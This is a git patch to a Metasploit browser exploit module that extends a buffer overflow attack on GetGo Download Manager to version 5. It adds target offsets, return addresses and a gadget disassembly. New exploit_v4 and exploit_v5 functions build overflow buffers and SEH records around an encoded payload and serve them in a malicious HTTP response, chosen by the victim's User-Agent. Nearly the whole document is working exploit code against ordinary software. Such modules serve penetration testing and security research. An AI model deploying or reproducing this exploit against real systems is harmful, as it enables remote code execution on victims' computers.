From ff9f3ed9ffaa703cd5bab290743d4e6241908f5c Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Mon, 15 Oct 2018 15:14:12 -0500 Subject: [PATCH] Add support for v5 --- .../browser/getgodm_http_response_bof.rb | 158 +++++++----------- 1 file changed, 57 insertions(+), 101 deletions(-) diff --git a/modules/exploits/windows/browser/getgodm_http_response_bof.rb b/modules/exploits/windows/browser/getgodm_http_response_bof.rb index dbac05a1ce..172c26b88f 100644 --- a/modules/exploits/windows/browser/getgodm_http_response_bof.rb +++ b/modules/exploits/windows/browser/getgodm_http_response_bof.rb @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Name' => 'GetGo Download Manager HTTP Response Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in - GetGo Download Manager version 4.9.0.1982 and earlier, caused by an + GetGo Download Manager version 5.3.0.2712 earlier, caused by an overly long HTTP response header. By persuading the victim to download a file from a malicious server, a @@ -26,7 +26,9 @@ class MetasploitModule < Msf::Exploit::Remote 'Author' => [ 'Julien Ahrens', # Vulnerability discovery - 'Gabor Seljan' # Metasploit module + 'Gabor Seljan', # Metasploit module for v4 + 'bzyo', # Metasploit module for v5 + 'sinn3r' # Helping Gabor and bzyo (see #4588 & #9642) ], 'References' => [ @@ -42,16 +44,33 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => 'win', 'Payload' => { - 'BadChars' => "\x00\x0a\x0d", - 'Space' => 2000 + # v5 has no bad chars + 'BadChars' => "\x00\x0a\x0d" }, 'Targets' => [ - [ 'Windows XP SP3', + [ + 'Automatic', {} + ], + [ '4.9.0.1982 on Windows XP SP3', { 'Offset' => 4107, 'Ret' => 0x00280b0b # CALL DWORD PTR SS:[EBP+30] } + ], + [ + '5.3.0.2712 on Windows XP SP3', + { + 'Offset' => 4095, + # 0:016> u 0x72d11f39 + # msacm32!wodMessage+0xd0f: + # 72d11f39 5f pop edi + # 72d11f3a 5e pop esi + # 72d11f3b c20400 ret 4 + 'Ret' => 0x72d11f39, + # 12253 is the same size the python PoC used + 'MaxSize' => 12253 + } ] ], 'Privileged' => false, @@ -59,102 +78,11 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0)) end - # - # Handle the HTTP request and return a response. - # Code borrowed from: msf/core/exploit/http/server.rb - # - def start_http(opts={}) - # Ensture all dependencies are present before initializing HTTP - use_zlib - - comm = datastore['ListenerComm'] - if (comm.to_s == "local") - comm = ::Rex::Socket::Comm::Local - else - comm = nil - end - - # Default the server host / port - opts = { - 'ServerHost' => datastore['SRVHOST'], - 'ServerPort' => datastore['HTTPPORT'], - 'Comm' => comm - }.update(opts) - - # Start a new HTTP server - @http_service = Rex::ServiceManager.start( - Rex::Proto::Http::Server, - opts['ServerPort'].to_i, - opts['ServerHost'], - datastore['SSL'], - { - 'Msf' => framework, - 'MsfExploit' => self - }, - opts['Comm'], - datastore['SSLCert'] - ) - - @http_service.server_name = datastore['HTTP::server_name'] - - # Default the procedure of the URI to on_request_uri if one isn't - # provided. - uopts = { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri - }.update(opts['Uri'] || {}) - - proto = (datastore["SSL"] ? "https" : "http") - print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") - - if (opts['ServerHost'] == '0.0.0.0') - print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") - end - - # Add path to resource - @service_path = uopts['Path'] - @http_service.add_resource(uopts['Path'], uopts) - - # As long as we have the http_service object, we will keep the server alive - while @http_service - select(nil, nil, nil, 1) - end - end - - - # - # Kill HTTP/FTP (shut them down and clear resources) - # - def cleanup - super - stop_service - - begin - @http_service.remove_resource(datastore['URIPATH']) - @http_service.deref - @http_service.stop - @http_service.close - @http_service = nil - rescue - end - end - - - def on_request_uri(cli, request) - - print_status("Client connected...") - - unless request['User-Agent'] =~ /GetGo Download Manager 4.0/ - print_error("Sending 404 for unknown user-agent") - send_not_found(cli) - return - end - - sploit = rand_text_alpha(target['Offset']) + # This part is from Gabor Seljan + def exploit_v4(cli, current_taget) + sploit = rand_text_alpha(current_taget['Offset']) sploit << "\x90\x90\xEB\x06" - sploit << [target.ret].pack('V') + sploit << [current_taget.ret].pack('V') sploit << payload.encoded print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...") @@ -162,8 +90,36 @@ class MetasploitModule < Msf::Exploit::Remote resp = create_response(200, sploit) resp.body = "" cli.send_response(resp) + end - close_client(cli) + # This part is from Auxilus with some help from @_sinn3r + def exploit_v5(cli, current_taget) + seh_record = generate_seh_record(current_taget.ret) + # Minus 4 for the SEH record + buffer = "A" * (current_taget['Offset'] - 4) + buffer << seh_record + buffer << payload.encoded + buffer << "D" * (current_taget['MaxSize'] - buffer.length) + res = create_response(200, buffer) + cli.send_response(res) + end + def on_request_uri(cli, request) + print_status("#{cli.peerhost} connected") + current_target = target + + case request.headers['User-Agent'].to_s + when /GetGo Download Manager 4\.0/ + print_status('Attempting to exploit against v4') + current_target = targets[1] + exploit_v4(cli, current_target) + when /GetGo Download Manager 5\.0/ + print_status('Attempting to exploit against v5') + current_target = targets[2] + exploit_v5(cli, current_target) + else + print_error('Sending 404 for unknown user-agent') + send_not_found(cli) + end end end